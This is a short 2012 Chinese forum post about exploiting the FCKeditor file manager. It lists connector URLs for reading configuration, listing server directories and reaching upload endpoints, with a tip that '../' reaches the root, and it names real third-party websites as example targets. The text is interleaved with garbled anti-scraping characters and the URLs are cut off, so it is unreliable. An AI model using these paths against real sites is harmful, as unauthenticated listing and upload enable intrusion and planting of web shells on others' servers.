找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2100|回复: 0
打印 上一主题 下一主题

fckeditor漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:02:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
6 D" A. J1 S8 D4 u( j; U
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp+ j8 d3 L* u. R5 O
http://www.china-photo-model.com ... aspx/connector.aspx6 I/ e( U  }  T  d# [1 H7 G

7 r( B  E* O. s7 K- F( N% J6 n5 x2 w, c
http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector' j5 _$ l2 s, W" ~) ~4 ~
8 s: U- s9 C; u2 b: I

' J- k3 Z1 l6 u+ R/ _! y6 v! P) v* }8 Z2 r& }  |1 i  h8 _

5 M2 o- y7 u1 U! M) \' z/ `, p; ^9 N" Z) N$ s$ M5 |; J
查看配置和列出目录下的文件.
% T6 F7 t2 o6 I- C! z5 i" I8 ?* Y" ^& }

  c6 `  b2 d0 A$ mhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
# I. u7 _# c4 X6 s& Nhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
; z& n/ P4 p, ~. W/ N
# k% R5 |: _) Q% I* q7 n/ [2 Y上传地址:
" q( E' L0 y, ]; G- l9 ?/ Q" {" W+ h( V- E/ {, L, s
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
2 W( o/ @& T( E1 [& |5 W" Ghttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表